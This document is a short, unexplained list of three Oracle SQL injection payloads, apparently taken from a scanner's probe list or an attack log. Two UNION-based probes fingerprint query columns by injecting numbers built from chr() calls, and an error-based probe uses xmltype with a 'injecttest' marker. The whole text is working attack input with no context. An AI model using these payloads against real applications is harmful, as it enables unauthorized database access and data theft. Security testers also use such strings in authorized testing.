s and 1=2 union all select chr(50)||chr(55)||chr(51)||chr(50)||chr(56) from dual--

s and 1=2 union all select chr(53)||chr(57)||chr(55)||chr(53)||chr(50),null from dual--

s or 1=(select upper(xmltype(chr(60)||chr(58)||chr(45)||chr(45)||chr(58)||rawtohex('injecttest'))) from dual)